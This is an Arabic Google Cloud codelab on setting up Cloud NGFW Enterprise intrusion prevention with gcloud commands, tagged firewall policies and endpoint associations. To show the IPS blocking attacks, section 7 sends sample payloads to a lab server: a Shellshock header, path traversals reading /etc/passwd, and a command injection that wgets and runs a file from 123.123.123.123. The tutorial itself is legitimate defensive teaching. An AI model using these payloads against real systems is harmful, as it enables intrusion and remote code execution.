1. مقدمة
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall هي خدمة جدار حماية موزّعة بالكامل تتضمّن إمكانات حماية متقدّمة وتقسيمًا دقيقًا وتغطية شاملة لحماية أحمال عمل Google Cloud من الهجمات الداخلية والخارجية.
تتضمّن Cloud NGFW المزايا التالية:
- خدمة جدار الحماية الموزّع: يوفّر Cloud NGFW تنفيذًا كاملاً وموزّعًا ومستندًا إلى المضيف على كل عبء عمل لتمكين بنية أمان تعتمد على "نهج الثقة المعدومة".
- عملية إعداد ونشر مبسّطة: تنفّذ خدمة Cloud NGFW سياسات شبكة وجدار حماية هرمية يمكن ربطها بعقدة تسلسل هرمي للموارد. توفّر هذه السياسات تجربة جدار حماية متسقة في جميع أنحاء التسلسل الهرمي لموارد Google Cloud.
- التحكّم الدقيق والتقسيم الدقيق: يوفّر الجمع بين سياسات جدار الحماية والعلامات التي تحكمها "إدارة الهوية والوصول" (IAM) تحكّمًا دقيقًا في كلّ من حركة البيانات من الشمال إلى الجنوب ومن الشرق إلى الغرب، وصولاً إلى جهاز افتراضي واحد، وذلك على مستوى شبكات "السحابة الإلكترونية الافتراضية الخاصة" (VPC) والمؤسسات.
يتوفّر Cloud NGFW في الفئات التالية:
- أساسيات Cloud Next Generation Firewall
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
تضيف Cloud NGFW Enterprise خدمة منع التسلّل (IPS)، وهي إحدى إمكانات الطبقة 7، إلى بنية جدار الحماية الموزّعة في Google Cloud. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بفحص الزيارات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS)، ولكنّه خارج نطاق هذا الدرس التطبيقي حول الترميز (راجِع الدرس التطبيقي حول الترميز: Cloud NGFW Enterprise مع فحص بروتوكول أمان طبقة النقل (TLS)).
يمكنك الآن نشر عمليات فحص موثوقة لجدار الحماية من الجيل التالي (NGFW) من الطبقة 7 مع عناصر تحكّم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.
لتفعيل عناصر التحكّم في جدار الحماية من الطبقة 7 ونشرها باستخدام نظام منع التطفّل، عليك تنفيذ المهام التالية:
- أنشئ مجموعة من نقاط نهاية جدار الحماية الإقليمي المُدارة من Google Cloud.
- (اختياري) إنشاء سياسة فحص بروتوكول أمان طبقة النقل (TLS) (لا يغطّي هذا الدرس التطبيقي حول الترميز هذه الخطوة)
- (اختياري) إنشاء إعدادات الثقة (غير مشمولة في هذا الدرس التطبيقي حول الترميز)
- اربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج فيها إلى خدمة Cloud NGFW Enterprise.
- أجرِ تغييرات بسيطة على سياسات جدار الحماية وقواعده الحالية لتحديد ملفات تعريف منع التهديدات لمسارات الزيارات المختلفة.
سياسات جدار الحماية بين الشبكات
تعمل سياسة جدار الحماية على الشبكة كحاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار حماية الشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن أن تتضمّن كل شبكة VPC سياسة واحدة لجدار حماية الشبكة مرتبطة بها. تتيح سياسات جدار الحماية بين الشبكات استخدام "العلامات المُدارة من إدارة الهوية وإمكانية الوصول" (أو "العلامات" فقط) في قواعد جدار الحماية، والتي تحلّ محلّ علامات الشبكة الحالية ويمكن استخدامها لتوفير هوية لعبء العمل.
تؤدي مشاركة سياسة جدار الحماية بين الشبكات في الشبكات والدمج مع العلامات المُدارة من "إدارة الهوية وإمكانية الوصول" إلى تبسيط عملية إعداد جدران الحماية وإدارتها بشكل كبير.
مع طرح سياسة جدار الحماية للشبكة، أصبحت سياسات جدار الحماية في Google Cloud تتألف من المكوّنات التالية:
- سياسة جدار الحماية الهرمية
- قواعد جدار الحماية في شبكة VPC
- سياسة جدار الحماية بين الشبكات ( عالمية وإقليمية)
تتوفّر سياسات جدار الحماية الهرمية على مستوى المؤسسة وعُقد المجلدات ضمن التسلسل الهرمي للموارد، بينما يتم تطبيق قواعد جدار الحماية في شبكة VPC وسياسات جدار الحماية في الشبكة على مستوى شبكة VPC. يتمثّل أحد الاختلافات الكبيرة بين قواعد جدار الحماية في شبكة VPC وسياسات جدار الحماية في الشبكة في أنّه لا يمكن تطبيق قواعد جدار الحماية في شبكة VPC إلا على شبكة VPC واحدة، بينما يمكن ربط سياسات جدار الحماية في الشبكة بشبكة VPC واحدة أو مجموعة من شبكات VPC، بالإضافة إلى مزايا أخرى مثل التعديلات المجمّعة.
أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:
- قاعدة خروج يكون إجراءها السماح، ووجهتها 0.0.0.0/0
- قاعدة دخول يكون إجراءها هو الرفض، والمصدر هو 0.0.0.0/0
يتم عرض تسلسل إجراء التنفيذ تلقائيًا في المخطّط البياني التالي:

يُرجى العِلم أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار الحماية في شبكة VPC وسياسة جدار الحماية في الشبكة العامة. يمكن للعملاء تحديد ترتيب التنفيذ في أي وقت باستخدام أمر gcloud.
العلامات التي تحكمها إدارة الهوية وإمكانية الوصول
العلامات المدمجة في قواعد سياسة جدار الحماية على الشبكة هي موارد تتألف من أزواج مفتاح/قيمة يتم تحديدها على مستوى المؤسسة أو المشروع في التسلسل الهرمي لموارد Google Cloud. تحتوي هذه العلامة على عنصر تحكّم في الوصول إلى IAM، كما يشير الاسم، يحدّد مَن يمكنه تنفيذ أي إجراء على العلامة. تسمح أذونات "إدارة الهوية وإمكانية الوصول"، على سبيل المثال، بتحديد الجهات الرئيسية التي يمكنها تعيين قيم للعلامات والجهات الرئيسية التي يمكنها إرفاق العلامات بالموارد. بعد تطبيق علامة على أحد الموارد، يمكن لقواعد جدار حماية الشبكة استخدامها للسماح بحركة البيانات ورفضها.
تلتزم العلامات بنموذج الموارد الموروثة في Google Cloud، ما يعني أنّه يتم نقل العلامات وقيمها في جميع أنحاء التسلسل الهرمي من العناصر الرئيسية. نتيجةً لذلك، يمكن إنشاء العلامات في مكان واحد ثم استخدامها في مجلدات ومشاريع أخرى في جميع أنحاء التسلسل الهرمي للموارد. يُرجى الانتقال إلى هذه الصفحة للاطّلاع على تفاصيل حول العلامات وقيود الوصول.
يجب عدم الخلط بين العلامات وعلامات الشبكة. والأخيرة هي سلاسل يمكن إضافتها إلى آلات Compute Engine الافتراضية، وهي مرتبطة بالآلة الافتراضية وتختفي عند إيقافها نهائيًا. قد تتضمّن قواعد جدار الحماية في السحابة الخاصة الافتراضية علامات الشبكة، ولكن بما أنّها لا تُعدّ من موارد السحابة الإلكترونية، فهي لا تخضع للتحكّم في الوصول في "إدارة الهوية وإمكانية الوصول".
يُرجى العِلم أنّه يتم استخدام مصطلحَي "علامات" و"علامات تحكمها إدارة الهوية وإمكانية الوصول" بالتبادل في هذا المستند.
ما ستنشئه
يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا وإمكانية إنشاء شبكة VPC مع إمكانية الاتصال بالإنترنت، وسيوضّح كيفية توفير وظيفة نظام منع التطفّل (IPS) من خلال Cloud NGFW Enterprise من خلال:
- فحص عمليات نقل البيانات داخل شبكة VPC أو الشبكة الفرعية [الشرق والغرب]
- فحص تدفقات الدخول من الإنترنت [شمال-جنوب]
سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات المطابقة في Cloud Firewall، بما في ذلك 5-tuple (عنوان IP المصدر، وعنوان IP الوجهة، والبروتوكول، ومنفذ المصدر، ومنفذ الوجهة) والعلامات. لا يتضمّن هذا الدرس التطبيقي حول الترميز فحص طبقة النقل الآمنة.

ستكون قاعدة بيانات قواعد سياسة جدار الحماية بين الشبكات مشابهة للجدول أدناه:
الأولوية | الاتجاه | Target | المصدر | الوجهة | الإجراء | النوع |
100 | حركة بيانات صادرة | Quarantine_Tag | أي | أي | رفض | Essentials |
1000 | حركة بيانات واردة | Server_Tag | نطاقات التحقّق من الصحة | أي | السماح | Essentials |
2000 | حركة بيانات واردة | أي | نطاقات Identity-Aware Proxy | أي | السماح | Essentials |
3000 | حركة بيانات واردة | أي | Geo, GCTI | أي | رفض | خطة "الرزمة العادية" |
4000 | حركة بيانات صادرة | أي | أي | Geo, GCTI | رفض | خطة "الرزمة العادية" |
5000 | حركة بيانات صادرة | أي | أي | أسماء النطاقات المؤهَّلة بالكامل لتحديثات النظام | السماح | خطة "الرزمة العادية" |
6000 | حركة بيانات واردة | Server_Tag | 10.0.0.0/24 | أي | IPS | للمؤسسات |
7000 | حركة بيانات واردة | Server_Tag | CloudNAT_IP | أي | IPS | للمؤسسات |
ما ستتعلمه
- كيفية إنشاء سياسة جدار حماية بين الشبكات العالمية
- كيفية إنشاء علامات واستخدامها مع سياسة جدار الحماية بين الشبكات
- كيفية إعداد خدمة منع التسلّل واستخدامها في Cloud NGFW Enterprise
المتطلبات
- مشروع Google Cloud
- معرفة كيفية نشر الآلات الافتراضية وضبط مكونات الشبكة
- معرفة إعدادات جدار الحماية في شبكة VPC
2. قبل البدء
إنشاء المتغيّرات أو تعديلها
يستفيد هذا الدرس التطبيقي حول الترميز من $variables للمساعدة في تنفيذ عملية ضبط gcloud في Cloud Shell.
في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة (تخطَّ خطوة ضبط المشروع إذا كان المشروع المطلوب مضبوطًا من قبل). يتم استخدام متغيّر مختلف لموارد المؤسسة إذا كانت هناك حاجة إلى نقاط نهاية متعددة، مثل نقاط نهاية جدار الحماية.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3- تفعيل واجهات برمجة التطبيقات
فعِّل واجهات برمجة التطبيقات إذا لم يسبق لك ذلك:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. ملف الأمان وإنشاء نقطة النهاية في Cloud NGFW Enterprise
بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء عملية الإعداد الأساسي بالتوازي أثناء إنشاء نقطة النهاية.
إنشاء ملف الأمان ومجموعة ملفات الأمان:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
الناتج المتوقّع:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
تأكَّد من إنشاء الموارد بنجاح باتّباع الخطوات التالية:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
الناتج المتوقّع:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
أنشئ نقطة نهاية Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
نفِّذ الأمر أدناه للتأكّد من أنّ نقطة النهاية قيد الإنشاء (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
الناتج المتوقّع (يُرجى العلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
الناتج المتوقّع:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
تستغرق عملية إنشاء نقطة النهاية حوالي 20 دقيقة. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء المراجع المطلوبة بالتوازي.
5- الإعداد الأساسي
انتقِل إلى الأقسام التالية إذا كنت تفضّل إنشاء المراجع الأساسية يدويًا.
شبكة السحابة الإلكترونية الافتراضية الخاصة (VPC) والشبكة الفرعية
شبكة VPC والشبكة الفرعية
أنشئ شبكة VPC وشبكتها الفرعية:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
أنشئ أجهزة توجيه Cloud Router وبوابات Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
حالات
أنشئ مثيلات العميل وخادم الويب:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
العلامات على مستوى المشروع
امنح المستخدم أذونات tagAdmin و/أو tagUser إذا لزم الأمر:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
أنشئ مفتاح العلامة وقيمها على مستوى المشروع:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
ربط العلامات بالمثيلات:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
سياسة جدار الحماية بين الشبكات العالمية
إنشاء سياسة جدار حماية بين الشبكات العالمية:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
أنشئ قواعد Cloud Firewall Essential لرفض الزيارات من المثيلات المعزولة (تم إنشاؤها كمثال فقط، ولا يتم استخدامها في هذا الدرس التطبيقي حول الترميز) والسماح بالزيارات من نطاقات التحقق من الصحة والخادم الوكيل المدرك للهوية:
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
أنشئ قواعد Cloud Firewall Standard لرفض حركة البيانات الواردة والصادرة من/إلى البلدان المحظورة وعناوين IP الضارة المعروفة وعُقد الخروج من ToR، والسماح فقط بحركة البيانات الصادرة إلى أسماء نطاقات مؤهَّلة بالكامل (FQDN) معيّنة لتحديثات النظام (تم إنشاؤها كمثال فقط، ولا يتم استخدامها في هذا الدرس العملي):
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
أنشئ قواعد Cloud Firewall للسماح بزيارات الدخول من الشرق إلى الغرب / داخل الشبكة الفرعية ومن الشمال إلى الجنوب / الإنترنت من النطاقات المحدّدة (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
ربط سياسة جدار الحماية بين الشبكات بشبكة VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
جهاز موازنة حمل الشبكة الخارجي TCP/UDP
احجز عنوان IP خارجيًا وأنشئ مجموعة الأجهزة الافتراضية وفحص السلامة:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
إنشاء خدمة الخلفية وقاعدة إعادة التوجيه:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. ربط نقاط نهاية Cloud NGFW Enterprise
أعِد تعريف متغيرات البيئة إذا لزم الأمر.
تأكَّد من اكتمال عملية إنشاء نقطة نهاية "جدار الحماية السحابي" بنجاح. لا تتابع إلا بعد أن تظهر الحالة نشط (أثناء الإنشاء، الحالة المتوقّعة هي قيد الإنشاء):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
الناتج المتوقّع (يُرجى العلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
الناتج المتوقّع:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
ربط نقطة نهاية Cloud NGFW Enterprise بشبكة VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
تستغرق عملية الربط حوالي 10 دقائق. لا تتابع إلا بعد أن تظهر الحالة نشط (الحالة المتوقّعة هي جارٍ الإنشاء أثناء عملية الإنشاء):
gcloud network-security firewall-endpoint-associations list
الناتج المتوقّع:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
الناتج المتوقّع:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. قواعد الفحص في Cloud NGFW Enterprise
افتح علامة تبويب جديدة وابدأ اتصال SSH بالجهاز الظاهري للعميل من خلال IAP (عليك تحديد المتغيرات مرة أخرى في علامة التبويب الجديدة):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
حدِّد المتغيّرات المطلوبة في جلسة SSH واضبط المتغيّرات (تأكَّد من صحة القيم):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
استخدِم curl لكلا عنوانَي IP للتأكّد من إمكانية الوصول إليهما:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
النتيجة المتوقّعة لكلا طلبي curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
أرسِل أمثلة على الهجمات إلى عنوان IP الخاص بالخادم الداخلي (زيارات الشرق والغرب / داخل شبكة VPC). يجب أن يستجيب خادم الويب لجميع الطلبات، مؤكّدًا عدم توفّر أي فحص/منع من الطبقة 7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
أعِد إرسال عيّنات الهجمات إلى عنوان IP الخاص بالخادم الخارجي من خلال Cloud NAT (حركة المرور الواردة من الشمال إلى الجنوب)، وبالمثل يجب أن يستجيب خادم الويب لجميع الطلبات:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
النتائج المتوقّعة لكل من عناوين IP العامة والخاصة:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
عُد إلى Cloud Shell وعدِّل قواعد الدخول الحالية لتفعيل فحص الطبقة 7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
يمكنك اختياريًا وصف قواعد جدار الحماية للتأكّد من تعديل كليهما بنجاح:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
الناتج المتوقّع:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
القاعدة 7000:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
الناتج المتوقّع:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
ارجع إلى الجهاز الظاهري للعميل وأعِد إرسال الهجمات النموذجية إلى عنوان IP للخادم الداخلي (الفحص بين المناطق / داخل شبكة VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
أعِد إرسال الهجمات النموذجية إلى عنوان IP الخاص بالخادم الخارجي من خلال Cloud NAT (الفحص الوارد من الشمال إلى الجنوب):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
لم يتم تلقّي أي ردود على الهجمات الأولى وفقًا للناتج المتوقّع أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات ذات الخطورة العالية.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
انتقِل إلى "أمان الشبكة" > "التهديدات" في Cloud Console للتحقّق من السجلات (قد تحتاج إلى إعادة التحميل عدة مرات إذا لم يتم عرض الهجمات بعد).

